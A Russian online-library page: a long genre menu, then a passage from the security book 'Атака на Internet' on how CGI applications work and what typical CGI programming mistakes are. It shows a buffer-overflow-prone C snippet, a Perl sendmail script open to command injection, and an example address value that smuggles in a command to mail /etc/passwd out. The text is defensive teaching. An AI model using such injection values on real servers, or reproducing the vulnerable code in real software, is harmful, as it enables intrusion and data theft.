- Фантастика и фэнтези
- Ироническое фэнтези
- Стимпанк
- Детективная фантастика
- Киберпанк
- Попаданцы
- LitRPG
- Космоопера
- Технофэнтези
- Городская фантастика
- Русское фэнтези
- Юмористическая фантастика
- Космическая фантастика
- Боевое фэнтези
- Эпическая фантастика
- Зарубежная фантастика
- Книги магов
- Мистика
- Разная фантастика
- Разное фэнтези
- Любовное фэнтези
- Романтическая фантастика
- Городское фентези
- Историческая фантастика
- Историческое фэнтези
- Социально-философская фантастика
- Сказочная фантастика
- Иностранное фэнтези
- Романтическое фэнтези
- Ироническая фантастика
- Ужасы и Мистика
- Постапокалипсис
- Героическая фантастика
- Фэнтези
- Научная Фантастика
- Социально-психологическая
- Альтернативная история
- Боевая фантастика
- Разная литература
- Пословицы, поговорки
- Шахматы
- Визуальные искусства
- Фанфик
- Авто и ПДД
- Военное
- Отраслевые издания
- Гиды, путеводители
- Зарубежная образовательная литература
- Военная история
- Цитаты из афоризмов
- Современная литература
- Великолепные истории
- Начинающие авторы
- Современная зарубежная литература
- Боевые искусства
- Изобразительное искусство, фотография
- Кино
- Литература 19 века
- Недвижимость
- Музыка, музыканты
- Готические новеллы
- Истории из жизни
- Культура и искусство
- Спецслужбы
- Зарубежная прикладная литература
- Музыка, танцы
- Подростковая литература
- Прочее
- Военная техника, оружие
- Газеты и журналы
- Периодические издания
- Домоводство, Дом и семья
- Любовные романы
- Экономическая литература
- Научные и научно-популярные книги
- О животных
- Биохимия
- Культурология
- Юриспруденция
- Политика
- Психотерапия
- Языкознание
- Научпоп
- Медицина
- Психология, личное
- Радиотехника
- Филология
- Педагогика
- Образовательная литература
- Деловая литература
- Физика
- Науки: разное
- Химия
- Воспитание детей, педагогика
- Детская психология
- Зарубежная публицистика
- Биология
- Архитектура
- Зарубежная психология
- Науки о космосе
- Социология
- Математика
- География
- Беременность, ожидание детей
- Литературоведение
- Транспорт, военная техника
- Обществознание
- Зоология
- География
- Альтернативная медицина
- Иностранные языки
- Ветеринария
- Рефераты
- Астрология
- Биофизика
- Экология
- История Европы
- Учебники
- Шпаргалки
- Государство и право
- Ботаника
- Религиоведение
- История
- Техническая литература
- Прочая научная литература
- Психология
- Детективы и Триллеры
- Справочная литература
- Проза
- Новелла
- Юмор
- Проза
- Историческая проза
- Русская современная проза
- Советская классическая проза
- Повести
- Очерки
- Эссе
- Рассказы
- Зарубежная современная проза
- Сентиментальная проза
- Зарубежная классика
- Афоризмы
- Эпистолярная проза
- Феерия
- Семейный роман/Семейная сага
- Разное
- Антисоветская литература
- Магический реализм
- Русская классическая проза
- Современная проза
- О войне
- Контркультура
- Классическая проза
- Поэзия, Драматургия
- Детская литература
- Детская фантастика
- Детские остросюжетные
- Детские стихи
- Детские приключения
- Внеклассное чтение
- Учебная литература
- Зарубежные детские книги
- Бизнес
- Загадки
- Книги для подростков
- Школьные учебники
- Детский фольклор
- Книги для дошкольников
- Детские детективы
- Детская познавательная и развивающая литература
- Буквари
- Прочая детская литература
- Сказка
- Детская проза
- Детская образовательная литература
- Юмор
- Документальные книги
- Бизнес
- Внешнеэкономическая деятельность
- Тайм-менеджмент
- Кадровый менеджмент
- О бизнесе популярно
- Управление, подбор персонала
- Бизнес
- Менеджмент и кадры
- Продажи
- Экономика
- Ценные бумаги и инвестиции
- Малый бизнес
- Делопроизводство, офис
- Корпоративная культура, бизнес
- Банковское дело
- Финансы
- Зарубежная деловая литература
- Ораторское искусство / риторика
- Личные финансы
- Интернет-бизнес
- Поиск работы
- Государственное и муниципальное управление
- Бухучет и аудит
- Работа с клиентами
- Менеджмент
- Краткое содержание
- Личная эффективность
- Переговоры
- Приключения
- Старинная литература
- Религия и духовность
- Компьютеры и Интернет
- Блог
Читаем без скачивания Атака на Internet - Илья Медведовский
Шрифт:
Интервал:
Закладка:
3. Сервер вызывает CGI-приложение и в зависимости от метода запроса передает информацию из формы через переменную окружения QUERY_STRING (в случае GET) либо через стандартный ввод (в случае POST). Также формируются другие переменные окружения, такие как HTTP_USER_AGENT, REMOTE_HOST и др.
4. CGI-приложение считывает строку с переданной информацией со стандартного ввода (stdin) или из переменной окружения QUERY_STRING. Обработав информацию, программа, как правило, либо переадресует браузер на некоторый существующий документ с помощью http-заголовка Location, либо cформирует виртуальный документ, посылая информацию на стандартный вывод (stdout). Телу документа предшествуют HTTP-заголовки, описывающие тип возвращаемых данных, управляющие кэшированием, работой с cookies и т. д. Все это передается серверу.
5. Сервер пересылает ответ CGI-приложения браузеру.
6. Браузер, основываясь на заголовках HTTP, интерпретирует ответ CGI-приложения и выводит его для просмотра пользователем.
Реализовать CGI-приложение можно на любом языке, способном генерировать код для серверной платформы или для которого доступен интерпретатор. Так, простейшее CGI-приложение может быть реализовано на языке пакетных файлов DOS, на Delphi, С/С++, Tcl, Visual Basic, AppleScript, FoxPro и т. д. Широкое распространение в качестве языка для CGI-приложений получил Perl. Синтаксис Perl унаследован в первую очередь от С, в него добавлены расширенные средства для работы со строками, регулярными выражениями, ассоциативными массивами и т. д. Это интерпретируемый язык, изначально созданный для UNIX-систем, сейчас его интерпретаторы доступны для большинства популярных архитектур, что делает особенно легким перенос приложений.
CGI-приложения были первым средством «оживления» статичных Web-страниц. Их главная особенность в том, что они выполняются на сервере. Java, JavaScript, ActiveX появились позднее и, в отличие от cgi, предназначались преимущественно для создания приложений на клиентской стороне. Но даже такая тривиальная задача, как установка счетчика посещений страницы, уже требует серверного решения. О плюсах серверных решений можно говорить долго, но нас сейчас интересует совсем другой вопрос – некорректно написанное CGI-приложение может стать источником весьма серьезных проблем.
Ответственность разработчика CGI-приложения ничуть не меньше ответственности разработчика Web-сервера. Ошибка и того, и другого может привести к одинаково печальным последствиям. Однако мало кто занимается написанием Web-серверов для души – все-таки это удел профессионалов, в то время как количество желающих развлечься CGI-программированием постоянно растет, и с плодами их творчества мы сталкиваемся все чаще и чаще.
Распространенные ошибки
Основная ошибка начинающих программистов – надежда на то, что пользователь будет себя вести «хорошо» и обращаться с программой именно так, как задумано автором. Это справедливо не только для CGI-приложений, но и для любого программного обеспечения, однако когда автор многочисленных утилит «для себя» решает попробовать свои силы в программировании для серверов, он немедленно попадает в другую весовую категорию. Ему может казаться, что он продолжает писать «для себя», в действительности же его потенциальными пользователями становятся все обитатели сети, а уж от них ждать снисхождения не приходится. И не стоит успокаивать себя тем, что CGI-приложения выполняются в контексте пользователя с минимальными правами – даже в хорошо сконфигурированной системе этих прав зачастую достаточно для выдачи информации, которой можно воспользоваться при взломе системы.
Поэтому особенно важно с самого начала четко представлять, какие подводные камни ожидают CGI-программиста, чтобы по возможности избежать горького опыта обучения на собственных ошибках.
Несколько слов о выборе средств разработки. Компилируемые языки, такие как C/C++, имеют некоторое преимущество в том смысле, что на сервере отсутствует исходный код приложения, а это сильно затрудняет возможность его исследования – в отличие от интерпретируемых языков (например, Perl). В штатных условиях код последних также недоступен, но всегда есть возможность добраться до него, используя какие-то ошибки сервера или просто находя сохраненную резервную копию. С другой стороны, исходные тексты популярных CGI-приложений и так достаточно распространены в сети, кроме того, тот же Perl имеет встроенные механизмы обеспечения безопасности выполняемых скриптов, так что нельзя априори утверждать, что программа на C будет безопасней аналогичной программы на Perl. Все дальнейшие рассуждения по большей части применимы как к компилируемым, так и к интерпретируемым программам.
Во-первых, самая распространенная ошибка для программистов на C/ C++, как обычно, связана с возможностью переполнения буфера (см. главу 9). Эта проблема особенно характерна для C/C++, поскольку программисту на Perl нет необходимости заботиться о ручном выделении памяти под строки.
Например, для получения данных, переданных методом POST, можно написать следующий код:char buff [4096];
int length = atoi(getenv("CONTENT_LENGTH"));
fread(buff, 1, length, stdin);Возможное переполнение буфера налицо. Справиться с этой проблемой очень легко – достаточно динамически выделить буфер требуемой длины:
int length = atoi(getenv(«CONTENT_LENGTH»));
char* buff = new char[length];
if(buff)
fread(buff, 1, length, stdin);Потенциально опасны многие строковые функции, определяющие конец строки по завершающему нулю. Поэтому вместо функций strcpy, strcat, strcmp и т. п. настоятельно рекомендуется использовать их аналоги strncpy, strncat, strncmp, позволяющие указать максимальное количество обрабатываемых символов.
Казалось бы, можно ограничить объем вводимой информации указанием соответствующих параметров в тэгах формы, но это еще одно очень опасное заблуждение, которого мы коснемся чуть позже.
Возможно, именно из-за необходимости постоянно контролировать размер буфера многие начинающие (и не только) CGI-программисты предпочитают Perl.
Во-вторых, следующий большой класс ошибок связан с вызовом внешних программ. Здесь Perl предоставляет больше шансов для случайной ошибки – в то время как у С++ с этой точки зрения потенциально опасны функции popen и system (причем вместо последней часто можно безболезненно воспользоваться exec или spawn), у Perl проблемными считаются функции system и exec, open с перенаправлением вывода (аналогичная popen), функция eval, а также обратная кавычка «`».
Сами по себе перечисленные функции достаточно безопасны, и, если скрипт просто вызывает некую внешнюю программу, никакой беды в этом нет. Сложности возникают, когда скрипт передает внешней программе в качестве параметра некую информацию, введенную пользователем: адрес, сообщаемый программе электронной почты, вызов grep из поисковой системы и т. д. Если в процессе вызова внешней программы будет участвовать командная оболочка, как это происходит при использовании перечисленных функций, то можно воспользоваться ее управляющими символами и выполнить на сервере любую команду.
Очевидный пример – отправление письма по адресу, указанному пользователем (например, в качестве подтверждения какого-то запроса и т. п.):#!/usr/bin/perl
use CGI qw(:standard);
$query = new CGI;
$mailprog=’| /usr/sbin/sendmail’;
$address= $query->param(’address’);
$from=’[email protected]’;
open (MAIL,"$mailprog $address");
print MAIL "From: $fromnSubject: Confirmationnn";
print MAIL "Your request was successfully receivedn";
close MAIL;Теперь предположим, что пользователь ввел следующий обратный адрес: [email protected];mail [email protected] </etc/passwd;, в результате чего выполнится команда /usr/sbin/sendmail [email protected];mail [email protected] </etc/passwd; – явно не то, что мы ожидали (сравните, кстати, с атаками, описанными в главе 9).
Кроме того, при этом вполне может быть использована какая-нибудь недокументированная команда или люк, позволяющие выполнить код от имени привилегированного пользователя.
В-третьих, уязвимы программы, рассчитывающие на определенные значения специальных переменных, к примеру, на значение переменной PATH при вызове внешних программ. Нарушитель может попытаться изменить ее значение так, чтобы она указывала на программу, которую он хочет подставить для выполнения вашим сценарием вместо ожидаемой вами. Следовательно, необходимо либо указывать полный путь до исполняемой программы, либо устанавливать ее значение до первого использования. Причем не рекомендуется помещать в PATH текущий путь (данное правило, к сожалению, игнорируется во всех Windows-системах, начинающих поиск запускаемой программы именно с текущего каталога).
В-четвертых, опасным заблуждением является расчет на то, что ограничения, установленные в полях формы, а также значения спрятанных полей не будут никем модифицированы. В действительности же никто не может помешать пользователю подсмотреть значения скрытых полей в исходном коде страницы, скопировать страницу на свой диск, слегка модифицировать по своему усмотрению и проверить скрипт на прочность.
Первым барьером на этом пути обычно служит проверка переменной окружения HTTP_REFERER, хранящей URL страницы, с которой был вызван скрипт. Если HTTP_REFERER указывает на адрес, не имеющий ничего общего с адресом нашего сайта, можно смело игнорировать этот вызов, рассматривая его как атаку.